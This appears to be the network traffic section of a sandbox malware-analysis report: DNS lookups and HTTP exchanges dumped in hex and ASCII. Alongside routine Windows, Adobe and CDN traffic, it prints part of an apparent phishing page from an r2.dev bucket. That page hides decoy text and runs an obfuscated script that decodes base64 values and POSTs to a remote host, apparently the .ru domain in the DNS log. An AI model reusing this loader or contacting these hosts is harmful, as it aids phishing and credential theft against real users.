Jul 4, 2024 21:05:58.561264992 CEST	1.1.1.1	192.168.2.4	0xa44d	No error (0)	pub-ad8bdbb321694934a9a218eeb6868559.r2.dev		104.18.3.35	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:05:59.607589006 CEST	1.1.1.1	192.168.2.4	0x1a86	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jul 4, 2024 21:05:59.607681036 CEST	1.1.1.1	192.168.2.4	0x5098	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:05:59.607681036 CEST	1.1.1.1	192.168.2.4	0x5098	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:00.520267010 CEST	1.1.1.1	192.168.2.4	0x67e8	No error (0)	menlologistics.com.ru			65	IN (0x0001)	false
Jul 4, 2024 21:06:00.610150099 CEST	1.1.1.1	192.168.2.4	0x5972	No error (0)	menlologistics.com.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:00.610150099 CEST	1.1.1.1	192.168.2.4	0x5972	No error (0)	menlologistics.com.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:01.949749947 CEST	1.1.1.1	192.168.2.4	0xe3ea	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 4, 2024 21:06:01.950961113 CEST	1.1.1.1	192.168.2.4	0x7c3e	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:03.263780117 CEST	1.1.1.1	192.168.2.4	0x4c6c	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:03.263780117 CEST	1.1.1.1	192.168.2.4	0x4c6c	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:03.263780117 CEST	1.1.1.1	192.168.2.4	0x4c6c	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:03.263780117 CEST	1.1.1.1	192.168.2.4	0x4c6c	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:03.264600039 CEST	1.1.1.1	192.168.2.4	0x7650	No error (0)	menlologistics.com.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:03.264600039 CEST	1.1.1.1	192.168.2.4	0x7650	No error (0)	menlologistics.com.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:06:03.266141891 CEST	1.1.1.1	192.168.2.4	0x7c91	No error (0)	menlologistics.com.ru			65	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:05:38 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-04 19:05:38 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=43104 Date: Thu, 04 Jul 2024 19:05:38 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:05:39 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-04 19:05:40 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=43124 Date: Thu, 04 Jul 2024 19:05:39 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-04 19:05:40 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:05:45 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-07-04 19:05:45 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Thu, 04 Jul 2024 19:05:45 GMT Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:05:46 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Hp9snZF7dKOoUty&MD=YmpwYxfF HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-04 19:05:47 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1c4e35e4-2d10-4083-ad66-5148fc96ab02 MS-RequestId: 4fc41ec6-8a0f-4025-be76-704b47777390 MS-CV: HKeoY87W0k2Xmfnm.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 04 Jul 2024 19:05:46 GMT Connection: close Content-Length: 24490
2024-07-04 19:05:47 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-04 19:05:47 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:05:59 UTC	695	OUT	GET /link.html HTTP/1.1 Host: pub-ad8bdbb321694934a9a218eeb6868559.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 19:05:59 UTC	282	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:05:59 GMT Content-Type: text/html Content-Length: 5513 Connection: close Accept-Ranges: bytes ETag: "a7ed94669c36345d5489425b9283985d" Last-Modified: Thu, 04 Jul 2024 12:00:24 GMT Server: cloudflare CF-RAY: 89e163d28eb89e08-EWR
2024-07-04 19:05:59 UTC	1087	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 20 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 Data Ascii: <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex, nofollow"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script> <style>body
2024-07-04 19:05:59 UTC	1369	IN	Data Raw: 73 70 6c 61 79 3a 20 66 6c 65 78 3b 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 77 69 64 74 68 3a 20 31 31 38 70 78 3b 68 65 69 67 68 74 3a 20 31 33 31 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 37 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 33 30 36 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 20 63 61 6c 2d 62 6f 75 6e 63 65 20 35 73 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 20 30 2e 35 2c 20 30 2c 20 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 35 31 70 78 29 20 73 63 61 6c 65 59 28 31 29 3b 7d 40 6b 65 Data Ascii: splay: flex;flex-wrap: wrap;width: 118px;height: 131px;border-radius: 7px;overflow: hidden;margin: 0 auto;margin-top: -306px;animation: cal-bounce 5s infinite;animation-timing-function: cubic-bezier(0, 0.5, 0, 1);transform: translateY(51px) scaleY(1);}@ke
2024-07-04 19:05:59 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 20 63 6c 6f 73 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 35 73 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 20 30 2c 20 30 2e 36 37 2c 20 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 37 31 70 78 29 20 72 6f 74 61 74 65 33 64 28 31 2c 20 30 2c 20 30 2c 20 39 30 64 65 67 29 3b 7d 40 6b 65 79 66 72 61 6d 65 73 20 63 6c 6f 73 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 7b 30 25 2c 20 31 30 30 25 2c 20 37 37 25 2c 20 38 2e 35 25 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 37 31 70 78 29 20 72 6f 74 61 Data Ascii: tion: closed-flap-swing 5s infinite;animation-timing-function: cubic-bezier(0.32, 0, 0.67, 0);transform-origin: top;transform: translateY(-71px) rotate3d(1, 0, 0, 90deg);}@keyframes closed-flap-swing {0%, 100%, 77%, 8.5% {transform: translateY(-71px) rota
2024-07-04 19:05:59 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 66 69 67 22 3e 3c 64 69 76 20 69 64 3d 22 73 74 72 75 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 75 73 74 6f 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 09 3c 73 70 61 6e 20 68 69 64 64 65 6e 3e 42 75 73 69 6e 65 73 73 65 73 20 6d 61 6b 65 20 70 6f 73 69 74 69 76 65 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 74 6f 20 63 6f 6d 6d 75 6e 69 74 69 65 73 2e 3c 2f 73 70 61 6e 3e 0d 0a 20 3c 2f 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 6d 69 6e 64 66 75 6c 6e 65 73 73 28 68 65 61 6c 74 68 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 7b 61 2c 62 2c 63 2c 64 7d 20 3d 20 4a 53 4f 4e 2e 70 61 72 73 65 28 Data Ascii: </div><div id="fig"><div id="strut"><div class="gusto"></div></div></div></div><span hidden>Businesses make positive contributions to communities.</span> </body><script> async function mindfulness(health) { var {a,b,c,d} = JSON.parse(
2024-07-04 19:05:59 UTC	319	IN	Data Raw: 59 54 49 35 5a 54 5a 6b 4e 54 68 6b 4e 7a 63 77 4f 54 4e 68 4e 7a 41 7a 4e 54 6b 31 4e 6d 4a 68 4f 44 6c 69 4f 44 49 7a 4f 47 51 31 5a 54 46 69 5a 57 51 78 4f 54 42 6a 49 69 77 69 5a 43 49 36 49 6a 59 7a 4e 6a 45 32 5a 54 63 30 4e 6a 45 32 59 7a 5a 6d 4e 7a 55 33 4d 44 59 31 49 6e 30 3d 60 29 29 2c 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 65 74 68 6f 64 3a 20 27 50 4f 53 54 27 2c 20 62 6f 64 79 3a 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 20 6b 65 65 6e 3a 20 22 70 61 70 61 79 61 22 20 7d 29 0d 0a 20 20 20 20 20 20 20 20 7d 29 29 2e 74 65 78 74 28 29 29 29 3b 0d 0a 20 20 20 20 7d 29 28 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 20 3c 64 69 76 3e 4d 75 73 63 6c 65 73 20 61 72 65 20 6c 69 6b 65 20 63 61 72 73 3b 20 74 68 65 Data Ascii: YTI5ZTZkNThkNzcwOTNhNzAzNTk1NmJhODliODIzOGQ1ZTFiZWQxOTBjIiwiZCI6IjYzNjE2ZTc0NjE2YzZmNzU3MDY1In0=`)), { method: 'POST', body: JSON.stringify({ keen: "papaya" }) })).text())); })();</script>... <div>Muscles are like cars; the

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:06:00 UTC	589	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 19:06:00 UTC	964	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:06:00 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 232265 Expires: Tue, 24 Jun 2025 19:06:00 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SXDyUwFu0NKZ%2FOBQooJdpEWBYWFmjdFu4QzZ2HpXJOPf0yhsK9%2BsoeXIpxNdLbVrziUl4i12D%2B6aT%2BVHSmpqPkt8OGTsqdPxGs9yD3aEiaSxDXENH1FfBBl67jGzR%2BdM%2BMoBiVfr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 89e163d71fc64251-EWR alt-svc: h3=":443"; ma=86400
2024-07-04 19:06:00 UTC	405	IN	Data Raw: 33 39 39 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 3998!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 Data Ascii: o&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==t
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a Data Ascii: ar o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f Data Ascii: arse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._do
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d Data Ascii: ,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 